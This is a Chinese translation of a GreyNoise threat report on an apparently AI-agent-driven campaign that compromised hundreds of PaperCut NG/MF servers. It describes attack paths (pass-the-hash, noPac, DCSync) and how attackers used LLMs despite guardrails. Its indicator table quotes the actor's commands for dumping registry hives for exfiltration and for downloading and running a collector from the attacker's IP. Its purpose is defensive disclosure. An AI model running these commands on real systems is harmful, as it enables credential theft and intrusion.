大数跨境
首页
>
AI辅助攻击案例:PaperCut攻击行动
>

AI辅助攻击案例:PaperCut攻击行动

AI辅助攻击案例:PaperCut攻击行动 AI与安全
2026-09-18
6
导读：大语言模型（LLM）正使攻击者能够以更快的速度和更大的规模行动。
导语：2026 年 8 月 31 日，一个疑似使用俄语的攻击者，借助 AI 与数百个 AI 智能体（Agent），对打印管理软件 PaperCut NG/MF 发起了一场全球性的攻击行动——至少攻陷 440 个实例，波及 48 个国家的 395 个组织。攻击者从空白环境到拿下首个真实受害者，仅用了不到 4 小时。以下是安全公司 GreyNoise 对此次行动的完整分析。
GreyNoise 通过其全球观测网格（Global Observation Grid，GOG）观测攻击者活动。GOG 是一个由传感器组成的网络，能够将攻击者的扫描与利用行为吸引到我们掌控的基础设施上。这使我们能够直接研究攻击者的基础设施、工具和战术手法（tradecraft），而无需等待受害者调查。自 2026 年 7 月初以来，GreyNoise 一直在追踪 IP 地址 45.142.193[.]132 的恶意使用情况，因为该 IP 被用于攻击面向互联网的技术与设备，涉及 Palo Alto、Ubiquiti、Citrix、SonicWall 和 Proxmox VE 等厂商的产品。
2026 年 8 月 31 日，一个疑似使用俄语的恶意网络行为者（MCA）利用 45.142.193[.]132 以及人工智能（AI）来开发、测试并使用针对 PaperCut NG/MF 的漏洞利用程序（涉及 CVE-2026-81578 和 CVE-2026-82078）。PaperCut 是一款打印管理软件，可帮助组织跟踪、计费并管理打印、复印和扫描任务。PaperCut 提供云端和自托管两种版本；PaperCut NG 和 MF 是自托管的 Java Web 应用程序，默认情况下在 Windows 上以 SYSTEM 级权限运行，通常已加入域并与 Active Directory 集成。在开发与测试漏洞利用程序的过程中，攻击者搭建并攻击了一个实验室环境，其中包括存在漏洞的 PaperCut 软件和一台 Active Directory 服务器。与此同时，攻击者还并行使用互联网扫描服务 Netlas.io（使用了一个已被识别的 API 密钥）来构建目标清单。
攻击者在其自托管实验室环境中实现远程代码执行（RCE）和凭据窃取后，使用由 OpenAI 的 Codex（作为编排框架 harness）、一个 DeepSeek 模型（而非 OpenAI 模型）以及各种公开可用的攻击性安全工具所驱动的数百个 AI 智能体，机会主义地攻陷了至少 440 个 PaperCut MF/NG 实例，涉及 48 个国家中 395 个已识别的受害组织。此外，还有一些真实受害者无法归因到具名组织。攻击者确实明确尝试避免针对 28 个已识别国家的实体；然而，我们观测到的受害者情况显示，这种刻意的克制在某些情况下并未奏效。
显而易见，大语言模型（LLM）正使攻击者能够以更快的速度和更大的规模行动。攻击者从空白的工作空间开始，用了不到 4 小时就首次对真实受害者实现了 RCE，又过了大约 2 小时取得首个域管理员权限；而当整个攻击行动全面启动后，攻击者在 26 秒内就攻陷了至少 11 个组织。在其中一起案例中，攻击者针对美国一所高中，从初始访问到获得完整域管理员权限仅用了 7 分钟。不过，攻击者并非在所有受害者身上都同样得手——GreyNoise 观测到，攻击者仅对 12 个受害组织成功取得了域管理员权限。
攻击者并未立即对所有已攻陷的受害者进行后续行动，因此在初始访问与取得域管理员权限之间出现了数天的延迟，而这仅仅是因为攻击者没有采取行动所致。在成功取得域管理员权限的案例中，攻击者最快仅用了 5 分钟，最长用了 144 分钟。截至 GreyNoise 最后一次观测时，攻击者尚未对其他受害者取得域管理员权限。在至少一起针对被视为存在漏洞的 PaperCut 实例的攻击中，Cloudflare 的 Web 应用防火墙（WAF）成功阻止了攻击者。面对 AI 赋能的威胁，对环境的根本性加固仍然至关重要。
目前尚不清楚该行为者是仅专注于获取访问权限、以便移交给其他关联行为者，还是会直接利用所获得的访问权限来达成后续目标，例如数据窃取或部署勒索软件。过去，涉及利用 PaperCut 漏洞的其他入侵事件曾导致勒索。GreyNoise 已与业界领先的应急响应服务机构合作，全天候开展受害者通报工作。
核心要点

- 尽管美国的前沿模型设有防护栏（guardrails），攻击者仍在全球范围内使用多种大语言模型实施入侵；
- AI 能够实现快速、高效的复杂网络行动编排；然而，若约束不当，智能体（agentic）操作可能会偏离预期行为，并带来操作风险；
- 面对智能体攻击，组织并非无能为力，传统的安全加固确实对组织的安全态势具有积极影响。

入侵攻击生命周期

在成功取得域管理员权限的案例中，GreyNoise 观测到了三种攻击路径：
攻击路径 A： 如果被攻陷的 PaperCut 主机是域成员，攻击者会提取 LSASS 进程内存和注册表机密，以恢复高权限凭据，并对域控制器实施 pass-the-hash（哈希传递）攻击。
攻击路径 B： 在受害者尚未修补 CVE-2021-42278 和 CVE-2021-42287 的情况下，攻击者使用了 “noPac” 攻击。
攻击路径 C： 如果被攻陷的 PaperCut 主机就位于域控制器本身，或以域管理员服务账户运行，攻击者会直接将其新建的账户添加到 Domain Admins（域管理员组）。
在所有攻击路径中，攻击者都使用 DCSync 创建了完整的 NTDS.DIT 转储，以窃取组织的凭据。

失陷指标（IOC）

注意：这些 IOC 并非详尽无遗，因为由 AI 赋能的攻击者会持续根据需要进行即时调整。GreyNoise 将继续在GitHub上添加新的 IOC。
观测指标
描述
45.142.193.132
用于编排和执行该攻击行动
45.158.196.75
用于执行该攻击行动
528cd4e69ecfa5191adbcf6ef28667bf（lsa_read.exe）
Rust 编写的 LSA 机密读取器
ce870a91e8d27e8f663f0687abc60b04（save_hives.exe）
注册表配置单元转储工具
a6437ac3d6798090a218520985d36a3f（collect_custom.exe）
Rust 编写的自定义收集器
fc92dfafa7aa741c5f2b9cbcf75d1d19（lsacollectsmall.exe）
Rust 编写的 LSA bootkey 收集器
974decb9ff4c8f9ccb0937c96d513347（certipy.exe）
ADCS 滥用工具
Administrator17
攻击者创建的账户
C:\Windows\Temp\pc-sys.hiv
为外传而暂存的 SYSTEM 配置单元
C:\Windows\Temp\pc-sec.hiv
为外传而暂存的 SECURITY 配置单元
C:\Windows\Temp\pc-security.hiv
为外传而暂存的 SECURITY 配置单元
C:\Windows\Temp\pc-system.hiv
为外传而暂存的 SYSTEM 配置单元
C:\ProgramData\pc-sys-reg.hiv
为外传而暂存的 SYSTEM 配置单元（备用路径）
C:\Windows\Temp\pc-*.b64
为 HTTP 外传而暂存的 Base64 编码配置单元分块
C:\ProgramData\ligolo-agent.exe
为持久化访问而释放的 Ligolo 隧道代理
...\PaperCut MF\server\custom\web\pcp_\<10随机字符\>.txt
成功利用漏洞的证据
reg save HKLM\SYSTEM "C:\Windows\Temp\pc-system.hiv" /y & certutil -encode "C:\Windows\Temp\pc-system.hiv" "C:\Windows\Temp\pc-system.b64" & type "C:\Windows\Temp\pc-system.b64"
将 SYSTEM 注册表配置单元转储到磁盘、进行 Base64 编码并验证输出，为外传做准备
reg save HKLM\SECURITY "C:\Windows\Temp\pc-security.hiv" /y & certutil -encode "C:\Windows\Temp\pc-security.hiv" "C:\Windows\Temp\pc-security.b64" & type "C:\Windows\Temp\pc-security.b64"
将 SECURITY 注册表配置单元转储到磁盘、进行 Base64 编码并验证输出，为外传做准备
certutil -urlcache -split -f "http://45.142.193[.]132:8000/lsa_collect.exe" C:\Windows\Temp\lsa_collect.exe & C:\Windows\Temp\lsa_collect.exe
下载并执行 LSA bootkey 收集器
http://45.142.193.132:8089/agent5.exe
攻击者使用的 Ligolo-ng 的 URL
C:\ProgramData\LegitSvc\legit-svc.exe
攻击者使用的 Ligolo-ng 名称与路径
C:\ProgramData\LegitSvc\legit-svc-backup.exe
攻击者使用的 Ligolo-ng 名称与路径

攻击者工具包

该 MCA 拥有一套公开可用的攻击性安全工具库，用于扩大对企业环境的访问。请注意，并非所有这些工具都在本次攻击行动中被观测到实际使用。


目标与受害者分析

此次攻击行动似乎是机会主义性质的。美国境内的目标高度集中在教育行业；不过，这更可能归因于 PaperCut NG/MF 的客户群体分布。
攻击者使用了一份沿袭自以往攻击行动的“需回避国家”清单。目前尚不确定为何该 MCA 的智能体会发生偏离，但这正是 “AI 特工失控”（Agents Gone Wild）的一个绝佳例证。按顺序需回避的国家包括：俄罗斯、中国、中国香港、泰国、伊朗、委内瑞拉、白俄罗斯、哈萨克斯坦、吉尔吉斯斯坦、塔吉克斯坦、土库曼斯坦、乌兹别克斯坦、亚美尼亚、阿塞拜疆、摩尔多瓦、乌克兰、巴西、越南、印度尼西亚、巴基斯坦、坦桑尼亚、孟加拉国、阿富汗、土耳其、南非、纳米比亚、尼日利亚和津巴布韦。
各国受害数量
国家
受害者
凭据窃取
OS/域机密
域管理员
美国
98
59
31
1
英国
59
40
20
3
法国
31
23
12
1
西班牙
31
20
8
—
加拿大
24
10
8
3
比利时
16
13
8
1
葡萄牙
16
9
5
1
澳大利亚
15
8
4
—
德国
15
8
2
1
瑞士
14
9
1
—
意大利
13
8
7
—
中国台湾
12
11
10
—
新加坡
11
10
1
—
荷兰
9
6
5
—
南非
9
2
1
1
瑞典
8
5
3
—
巴西
5
2
0
—
马来西亚
5
4
3
—
丹麦
4
3
1
—
爱尔兰
4
3
2
—
新西兰
4
3
1
—
阿根廷
3
1
0
—
印度
3
3
2
—
柬埔寨
2
2
2
—
智利
2
1
1
—
芬兰
2
1
1
—
希腊
2
1
0
—
日本
2
0
0
—
波多黎各
2
2
0
—
奥地利
1
1
0
—
博茨瓦纳
1
1
1
—
保加利亚
1
0
0
—
中国
1
0
0
—
哥伦比亚
1
0
0
—
厄瓜多尔
1
0
0
—
爱沙尼亚
1
1
1
—
哈萨克斯坦
1
0
0
—
立陶宛
1
1
1
—
墨西哥
1
1
1
—
纳米比亚
1
1
0
—
尼日利亚
1
1
1
—
巴基斯坦
1
0
0
—
菲律宾
1
1
0
—
波兰
1
1
1
—
罗马尼亚
1
1
1
—
沙特阿拉伯
1
1
0
—
斯里兰卡
1
1
1
—
津巴布韦
1
1
0
—
总计
440
280
147
12
各行业受害数量
行业
受害者
凭据窃取
OS/域机密
域管理员
教育
204
129
67
7
其他/未分类
51
32
18
1
零售/商业/专业服务
38
28
16
2
房地产/共享办公/酒店业
29
20
6
—
IT/托管服务商（MSP）/打印设备经销商
25
17
8
—
非营利/宗教/慈善机构
21
16
9
2
未知（未归因）
15
6
3
—
图书馆/档案馆
13
9
8
—
制造/工业/能源/公用事业
13
7
3
—
政府/公共部门
9
6
3
—
医疗/社会护理
8
3
2
—
法律
8
3
2
—
金融/保险
6
4
2
—
总计
440
280
147
12
GreyNoise 将继续监测相关情况，并视需要发布更新。本文是 GreyNoise Labs 博客上完整深入版本的摘要。
关联阅读

泛安全可能是AI带来的最大市场，但现有安全思路都不对


来源说明：本文由 GreyNoise 的《Agents Gone Wild: An AI-Orchestrated Global Campaign Against PaperCut NG/MF》翻译整理，原文发表于 2026 年 9 月 9 日。
原文链接：https://www.greynoise.io/blog/ai-orchestrated-campaign-against-papercut-ng-mf


【声明】内容源于网络
0
0
AI与安全
理清逻辑，找到规律，看清趋势。作者前华为云高级安全专家。
内容 155
粉丝 0
AI与安全 理清逻辑，找到规律，看清趋势。作者前华为云高级安全专家。
总阅读2.9k
粉丝0
内容155